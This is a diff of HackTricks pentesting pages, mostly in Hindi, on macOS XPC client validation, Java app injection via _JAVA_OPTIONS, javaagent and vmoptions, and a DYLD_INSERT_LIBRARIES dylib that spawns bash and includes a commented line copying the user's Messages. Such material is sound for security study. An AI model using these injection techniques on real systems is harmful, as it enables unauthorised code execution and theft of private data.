* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## XPC कनेक्टिंग प्रोसेस चेक
|
## XPC कनेक्टिंग प्रोसेस चेक
|
||||||
|
|
||||||
जब XPC सेवा से कनेक्शन स्थापित होता है, सर्वर यह जांचेगा कि कनेक्शन अनुमति है या नहीं। ये आमतौर पर किए जाने वाले चेक हैं:
|
जब एक XPC सेवा से कनेक्शन स्थापित किया जाता है, तो सर्वर यह जांचेगा कि क्या कनेक्शन की अनुमति है। ये सामान्यतः की जाने वाली जांचें हैं:
|
||||||
|
|
||||||
1. जांचें कि कनेक्टिंग **प्रोसेस Apple-signed** प्रमाणपत्र के साथ हस्ताक्षरित है (केवल Apple द्वारा दिया गया).
|
1. जांचें कि क्या कनेक्टिंग **प्रोसेस एक Apple-साइन किए गए** प्रमाणपत्र के साथ साइन किया गया है (जो केवल Apple द्वारा दिया जाता है)।
|
||||||
* यदि यह **सत्यापित नहीं है**, तो हमलावर किसी भी अन्य चेक से मेल खाने के लिए **नकली प्रमाणपत्र** बना सकता है।
|
* यदि यह **सत्यापित नहीं है**, तो एक हमलावर एक **नकली प्रमाणपत्र** बना सकता है जो किसी अन्य जांच से मेल खाता है।
|
||||||
2. जांचें कि कनेक्टिंग प्रोसेस **संगठन के प्रमाणपत्र** के साथ हस्ताक्षरित है, (टीम ID सत्यापन).
|
2. जांचें कि क्या कनेक्टिंग प्रोसेस **संस्थान के प्रमाणपत्र** के साथ साइन किया गया है (टीम आईडी सत्यापन)।
|
||||||
* यदि यह **सत्यापित नहीं है**, तो **किसी भी डेवलपर प्रमाणपत्र** का उपयोग Apple से हस्ताक्षरित करने और सेवा से कनेक्ट करने के लिए किया जा सकता है।
|
* यदि यह **सत्यापित नहीं है**, तो Apple से **कोई भी डेवलपर प्रमाणपत्र** साइनिंग के लिए उपयोग किया जा सकता है, और सेवा से कनेक्ट किया जा सकता है।
|
||||||
3. जांचें कि कनेक्टिंग प्रोसेस में **उचित बंडल ID** है।
|
3. जांचें कि क्या कनेक्टिंग प्रोसेस **एक उचित बंडल आईडी** रखता है।
|
||||||
* यदि यह **सत्यापित नहीं है**, तो समान संगठन द्वारा हस्ताक्षरित कोई भी टूल XPC सेवा के साथ इंटरैक्ट करने के लिए उपयोग किया जा सकता है।
|
* यदि यह **सत्यापित नहीं है**, तो **उसी संगठन द्वारा साइन किए गए** किसी भी टूल का उपयोग XPC सेवा के साथ इंटरैक्ट करने के लिए किया जा सकता है।
|
||||||
4. (4 या 5) जांचें कि कनेक्टिंग प्रोसेस में **उचित सॉफ्टवेयर संस्करण संख्या** है।
|
4. (4 या 5) जांचें कि क्या कनेक्टिंग प्रोसेस में **एक उचित सॉफ़्टवेयर संस्करण संख्या** है।
|
||||||
* यदि यह **सत्यापित नहीं है,** तो पुराने, असुरक्षित क्लाइंट्स, प्रोसेस इंजेक्शन के लिए संवेदनशील हो सकते हैं और अन्य चेक्स के होते हुए भी XPC सेवा से कनेक्ट कर सकते हैं।
|
* यदि यह **सत्यापित नहीं है**, तो एक पुराना, असुरक्षित क्लाइंट, जो प्रोसेस इंजेक्शन के प्रति संवेदनशील है, XPC सेवा से कनेक्ट करने के लिए उपयोग किया जा सकता है, भले ही अन्य जांचें लागू हों।
|
||||||
5. (4 या 5) जांचें कि कनेक्टिंग प्रोसेस में हार्डन्ड रनटाइम है बिना खतरनाक एंटाइटलमेंट्स के (जैसे कि जो अनियंत्रित लाइब्रेरीज़ लोड करने या DYLD env vars का उपयोग करने की अनुमति देते हैं)
|
5. (4 या 5) जांचें कि क्या कनेक्टिंग प्रोसेस में खतरनाक अधिकारों के बिना **एक हार्डनड रनटाइम** है (जैसे कि वे जो मनमाने लाइब्रेरी लोड करने या DYLD env vars का उपयोग करने की अनुमति देते हैं)।
|
||||||
1. यदि यह **सत्यापित नहीं है,** तो क्लाइंट **कोड इंजेक्शन के लिए संवेदनशील हो सकता है**
|
* यदि यह **सत्यापित नहीं है**, तो क्लाइंट **कोड इंजेक्शन के प्रति संवेदनशील** हो सकता है।
|
||||||
6. जांचें कि कनेक्टिंग प्रोसेस में एक **एंटाइटलमेंट** है जो इसे सेवा से कनेक्ट करने की अनुमति देता है। यह Apple बाइनरीज़ के लिए लागू होता है।
|
6. जांचें कि क्या कनेक्टिंग प्रोसेस में एक **अधिकार** है जो इसे सेवा से कनेक्ट करने की अनुमति देता है। यह Apple बाइनरी के लिए लागू है।
|
||||||
7. **सत्यापन** को कनेक्टिंग **क्लाइंट के ऑडिट टोकन** पर **आधारित** होना चाहिए **इसके प्रोसेस ID (PID)** के बजाय, क्योंकि पूर्व **PID पुन: उपयोग हमलों** से बचाता है।
|
7. **सत्यापन** कनेक्टिंग **क्लाइंट के ऑडिट टोकन** पर **आधारित** होना चाहिए **इसके प्रोसेस आईडी** (**PID**) के बजाय क्योंकि पूर्व **PID पुन: उपयोग हमलों** को रोकता है।
|
||||||
* डेवलपर्स **शायद ही कभी ऑडिट टोकन** API कॉल का उपयोग करते हैं क्योंकि यह **निजी** है, इसलिए Apple कभी भी **बदल** सकता है। इसके अलावा, Mac App Store ऐप्स में निजी API का उपयोग अनुमति नहीं है।
|
* डेवलपर्स **कभी-कभी ऑडिट टोकन** API कॉल का उपयोग करते हैं क्योंकि यह **निजी** है, इसलिए Apple इसे **किसी भी समय बदल** सकता है। इसके अतिरिक्त, निजी API का उपयोग Mac App Store ऐप्स में अनुमति नहीं है।
|
||||||
* यदि **`processIdentifier`** मेथड का उपयोग किया जाता है, तो यह संवेदनशील हो सकता है
|
* यदि विधि **`processIdentifier`** का उपयोग किया जाता है, तो यह संवेदनशील हो सकता है।
|
||||||
* **`xpc_dictionary_get_audit_token`** का उपयोग **`xpc_connection_get_audit_token`** के बजाय किया जाना चाहिए, क्योंकि नवीनतम भी [कुछ स्थितियों में संवेदनशील हो सकता है](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).
|
* **`xpc_dictionary_get_audit_token`** का उपयोग **`xpc_connection_get_audit_token`** के बजाय किया जाना चाहिए, क्योंकि बाद वाला भी [कुछ स्थितियों में संवेदनशील हो सकता है](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)।
|
||||||
|
|
||||||
### संचार हमले
|
### संचार हमले
|
||||||
|
|
||||||
PID पुन: उपयोग हमले के बारे में अधिक जानकारी के लिए देखें:
|
PID पुन: उपयोग हमले के बारे में अधिक जानकारी के लिए चेक करें:
|
||||||
|
|
||||||
{% content-ref url="macos-pid-reuse.md" %}
|
{% content-ref url="macos-pid-reuse.md" %}
|
||||||
[macos-pid-reuse.md](macos-pid-reuse.md)
|
[macos-pid-reuse.md](macos-pid-reuse.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
**`xpc_connection_get_audit_token`** हमले के बारे में अधिक जानकारी के लिए देखें:
|
अधिक जानकारी के लिए **`xpc_connection_get_audit_token`** हमले की जांच करें:
|
||||||
|
|
||||||
{% content-ref url="macos-xpc_connection_get_audit_token-attack.md" %}
|
{% content-ref url="macos-xpc_connection_get_audit_token-attack.md" %}
|
||||||
[macos-xpc\_connection\_get\_audit\_token-attack.md](macos-xpc\_connection\_get\_audit\_token-attack.md)
|
[macos-xpc\_connection\_get\_audit\_token-attack.md](macos-xpc\_connection\_get\_audit\_token-attack.md)
|
||||||
|
@ -50,11 +51,11 @@ PID पुन: उपयोग हमले के बारे में अध
|
||||||
|
|
||||||
### Trustcache - डाउनग्रेड हमलों की रोकथाम
|
### Trustcache - डाउनग्रेड हमलों की रोकथाम
|
||||||
|
|
||||||
Trustcache Apple Silicon मशीनों में पेश की गई एक रक्षात्मक विधि है जो Apple बाइनरीज़ के CDHSAH का एक डेटाबेस संग्रहीत करती है ताकि केवल अनुमति दी गई अपरिवर्तित बाइनरीज़ ही निष्पादित की जा सकें। जो डाउनग्रेड संस्करणों के निष्पादन को रोकता है।
|
Trustcache एक रक्षात्मक विधि है जो Apple Silicon मशीनों में पेश की गई है जो Apple बाइनरी के CDHSAH का एक डेटाबेस संग्रहीत करती है ताकि केवल अनुमत गैर-संशोधित बाइनरी को निष्पादित किया जा सके। जो डाउनग्रेड संस्करणों के निष्पादन को रोकता है।
|
||||||
|
|
||||||
### कोड उदाहरण
|
### कोड उदाहरण
|
||||||
|
|
||||||
सर्वर इस **सत्यापन** को **`shouldAcceptNewConnection`** कहलाने वाले फंक्शन में लागू करेगा।
|
सर्वर इस **सत्यापन** को **`shouldAcceptNewConnection`** नामक एक फ़ंक्शन में लागू करेगा।
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
|
@ -65,9 +66,9 @@ return YES;
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
ऑब्जेक्ट NSXPCConnection में एक **निजी** संपत्ति **`auditToken`** (वह जिसका उपयोग किया जाना चाहिए लेकिन बदल सकता है) और एक **सार्वजनिक** संपत्ति **`processIdentifier`** (वह जिसका उपयोग नहीं किया जाना चाहिए) होती है।
|
ऑब्जेक्ट NSXPCConnection में एक **निजी** प्रॉपर्टी **`auditToken`** है (जो उपयोग की जानी चाहिए लेकिन बदल सकती है) और एक **सार्वजनिक** प्रॉपर्टी **`processIdentifier`** है (जो उपयोग नहीं की जानी चाहिए)।
|
||||||
|
|
||||||
कनेक्टिंग प्रोसेस की पुष्टि कुछ इस प्रकार से की जा सकती है:
|
जोड़ने वाली प्रक्रिया को कुछ इस तरह से सत्यापित किया जा सकता है:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
|
@ -91,7 +92,7 @@ SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString)
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
यदि एक डेवलपर क्लाइंट के संस्करण की जांच करना नहीं चाहता, तो वह कम से कम यह जांच सकता है कि क्लाइंट प्रोसेस इंजेक्शन के प्रति संवेदनशील नहीं है:
|
यदि एक डेवलपर क्लाइंट के संस्करण की जांच नहीं करना चाहता है, तो वह कम से कम यह जांच सकता है कि क्लाइंट प्रक्रिया इंजेक्शन के लिए संवेदनशील नहीं है:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
|
@ -108,16 +109,19 @@ if ((csFlags & (cs_hard | cs_require_lv)) {
|
||||||
return Yes; // Accept connection
|
return Yes; // Accept connection
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
|
||||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
||||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,22 +1,23 @@
|
||||||
# macOS जावा एप्लिकेशन इंजेक्शन
|
# macOS Java Applications Injection
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## जाँच
|
## Enumeration
|
||||||
|
|
||||||
अपने सिस्टम में इंस्टॉल किए गए जावा एप्लिकेशन्स खोजें। यह पाया गया कि **Info.plist** में जावा ऐप्स में कुछ जावा पैरामीटर होते हैं जिनमें **`java.`** स्ट्रिंग होती है, इसलिए आप उसे खोज सकते हैं:
|
अपने सिस्टम में स्थापित Java अनुप्रयोगों को खोजें। यह देखा गया कि **Info.plist** में Java ऐप्स कुछ जावा पैरामीटर शामिल करेंगे जिनमें स्ट्रिंग **`java.`** होगी, इसलिए आप इसके लिए खोज सकते हैं:
|
||||||
```bash
|
```bash
|
||||||
# Search only in /Applications folder
|
# Search only in /Applications folder
|
||||||
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
|
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
|
||||||
|
@ -26,13 +27,13 @@ sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
|
||||||
```
|
```
|
||||||
## \_JAVA\_OPTIONS
|
## \_JAVA\_OPTIONS
|
||||||
|
|
||||||
एनवायरनमेंट वेरिएबल **`_JAVA_OPTIONS`** का उपयोग एक जावा संकलित ऍप्लिकेशन के निष्पादन में विभिन्न जावा पैरामीटर डालने के लिए किया जा सकता है:
|
env वेरिएबल **`_JAVA_OPTIONS`** का उपयोग किसी java संकलित ऐप के निष्पादन में मनमाने java पैरामीटर को इंजेक्ट करने के लिए किया जा सकता है:
|
||||||
```bash
|
```bash
|
||||||
# Write your payload in a script called /tmp/payload.sh
|
# Write your payload in a script called /tmp/payload.sh
|
||||||
export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
|
export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
|
||||||
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||||||
```
|
```
|
||||||
इसे एक नए प्रक्रिया के रूप में निष्पादित करने के लिए आप इस्तेमाल कर सकते हैं:
|
नई प्रक्रिया के रूप में इसे निष्पादित करने के लिए और वर्तमान टर्मिनल के बच्चे के रूप में नहीं, आप उपयोग कर सकते हैं:
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
// clang -fobjc-arc -framework Foundation invoker.m -o invoker
|
// clang -fobjc-arc -framework Foundation invoker.m -o invoker
|
||||||
|
@ -85,7 +86,7 @@ NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
हालांकि, इससे एप्लिकेशन पर त्रुटि उत्पन्न होगी, एक और अधिक छिपकली तरीका यह है कि एक जावा एजेंट बनाएं और उपयोग करें:
|
हालांकि, यह निष्पादित ऐप पर एक त्रुटि को ट्रिगर करेगा, एक और अधिक छिपा हुआ तरीका एक जावा एजेंट बनाने और उपयोग करने का है:
|
||||||
```bash
|
```bash
|
||||||
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
|
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
|
||||||
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||||||
|
@ -95,10 +96,10 @@ export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
|
||||||
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
|
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
|
||||||
```
|
```
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
एप्लिकेशन से **भिन्न जावा संस्करण** के साथ एजेंट बनाने से दोनों एजेंट और एप्लिकेशन का कार्यक्रम विफल हो सकता है।
|
एजेंट को **विभिन्न Java संस्करण** के साथ बनाना एप्लिकेशन और एजेंट दोनों के निष्पादन को क्रैश कर सकता है
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
जहां एजेंट हो सकता है:
|
जहाँ एजेंट हो सकता है:
|
||||||
|
|
||||||
{% code title="Agent.java" %}
|
{% code title="Agent.java" %}
|
||||||
```java
|
```java
|
||||||
|
@ -119,19 +120,19 @@ err.printStackTrace();
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
एजेंट को कंपाइल करने के लिए निम्नलिखित को चलाएं:
|
एजेंट को संकलित करने के लिए चलाएँ:
|
||||||
```bash
|
```bash
|
||||||
javac Agent.java # Create Agent.class
|
javac Agent.java # Create Agent.class
|
||||||
jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar
|
jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar
|
||||||
```
|
```
|
||||||
`manifest.txt` के साथ:
|
With `manifest.txt`:
|
||||||
```
|
```
|
||||||
Premain-Class: Agent
|
Premain-Class: Agent
|
||||||
Agent-Class: Agent
|
Agent-Class: Agent
|
||||||
Can-Redefine-Classes: true
|
Can-Redefine-Classes: true
|
||||||
Can-Retransform-Classes: true
|
Can-Retransform-Classes: true
|
||||||
```
|
```
|
||||||
और फिर env वेरिएबल को निर्यात करें और निम्नलिखित तरह से जावा एप्लिकेशन चलाएं:
|
और फिर env वेरिएबल को एक्सपोर्ट करें और जावा एप्लिकेशन को इस तरह चलाएं:
|
||||||
```bash
|
```bash
|
||||||
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
|
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
|
||||||
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||||||
|
@ -142,12 +143,12 @@ open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Profession
|
||||||
```
|
```
|
||||||
## vmoptions फ़ाइल
|
## vmoptions फ़ाइल
|
||||||
|
|
||||||
यह फ़ाइल **Java params** की विशेषिता को समर्थन करती है जब Java को क्रियान्वित किया जाता है। आप कुछ पिछले तरीकों का उपयोग करके जावा पैरामीटर बदल सकते हैं और **प्रक्रिया को विचारशील आदेशों को निष्पादित करने** के लिए।\
|
यह फ़ाइल **Java params** के विनिर्देशन का समर्थन करती है जब Java निष्पादित होता है। आप कुछ पिछले ट्रिक्स का उपयोग करके java params को बदल सकते हैं और **प्रक्रिया को मनमाने आदेश निष्पादित करने** के लिए बना सकते हैं।\
|
||||||
इसके अतिरिक्त, इस फ़ाइल में `include` निर्देशिका के साथ अन्य भी **शामिल किया जा सकता है**, इसलिए आप एक सम्मिलित फ़ाइल को भी बदल सकते हैं।
|
इसके अलावा, यह फ़ाइल `include` निर्देशिका के साथ **अन्य फ़ाइलों को भी शामिल** कर सकती है, इसलिए आप एक शामिल फ़ाइल को भी बदल सकते हैं।
|
||||||
|
|
||||||
और भी, कुछ जावा ऐप्स **एक से अधिक `vmoptions`** फ़ाइल लोड करेंगे।
|
यहां तक कि, कुछ Java ऐप्स **एक से अधिक `vmoptions`** फ़ाइलें लोड करेंगे।
|
||||||
|
|
||||||
कुछ एप्लिकेशन जैसे Android Studio इन फ़ाइलों के लिए **उन्हें दिखाते हैं** कि वे कहाँ देख रहे हैं, जैसे:
|
कुछ अनुप्रयोग जैसे Android Studio अपने **आउटपुट में यह संकेत करते हैं कि वे इन फ़ाइलों के लिए कहाँ देख रहे हैं**, जैसे:
|
||||||
```bash
|
```bash
|
||||||
/Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions
|
/Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions
|
||||||
|
|
||||||
|
@ -158,7 +159,7 @@ open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Profession
|
||||||
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
||||||
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
||||||
```
|
```
|
||||||
अगर वे नहीं करते हैं तो आप इसे आसानी से जांच सकते हैं:
|
यदि वे ऐसा नहीं करते हैं, तो आप इसे आसानी से जांच सकते हैं:
|
||||||
```bash
|
```bash
|
||||||
# Monitor
|
# Monitor
|
||||||
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
|
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
|
||||||
|
@ -166,4 +167,4 @@ sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
|
||||||
# Launch the Java app
|
# Launch the Java app
|
||||||
/Applications/Android\ Studio.app/Contents/MacOS/studio
|
/Applications/Android\ Studio.app/Contents/MacOS/studio
|
||||||
```
|
```
|
||||||
ध्यान दें कि इस उदाहरण में Android स्टूडियो को फ़ाइल **`/Applications/Android Studio.app.vmoptions`** लोड करने की कोशिश कर रहा है, जहां **`admin` समूह से किसी भी उपयोगकर्ता के पास लेखन अधिकार है।**
|
नोट करें कि इस उदाहरण में Android Studio फ़ाइल **`/Applications/Android Studio.app.vmoptions`** को लोड करने की कोशिश कर रहा है, एक ऐसा स्थान जहाँ **`admin` समूह** के किसी भी उपयोगकर्ता को लिखने की अनुमति है।
|
||||||
|
|
|
@ -1,22 +1,23 @@
|
||||||
# macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
|
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos पर PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## DYLD_INSERT_LIBRARIES मूल उदाहरण
|
## DYLD\_INSERT\_LIBRARIES बुनियादी उदाहरण
|
||||||
|
|
||||||
**शैल को निष्पादित करने के लिए इंजेक्ट करने वाली पुस्तकालय:**
|
**शेल निष्पादित करने के लिए इंजेक्ट करने के लिए पुस्तकालय:**
|
||||||
```c
|
```c
|
||||||
// gcc -dynamiclib -o inject.dylib inject.c
|
// gcc -dynamiclib -o inject.dylib inject.c
|
||||||
|
|
||||||
|
@ -34,7 +35,7 @@ execv("/bin/bash", 0);
|
||||||
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
|
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
|
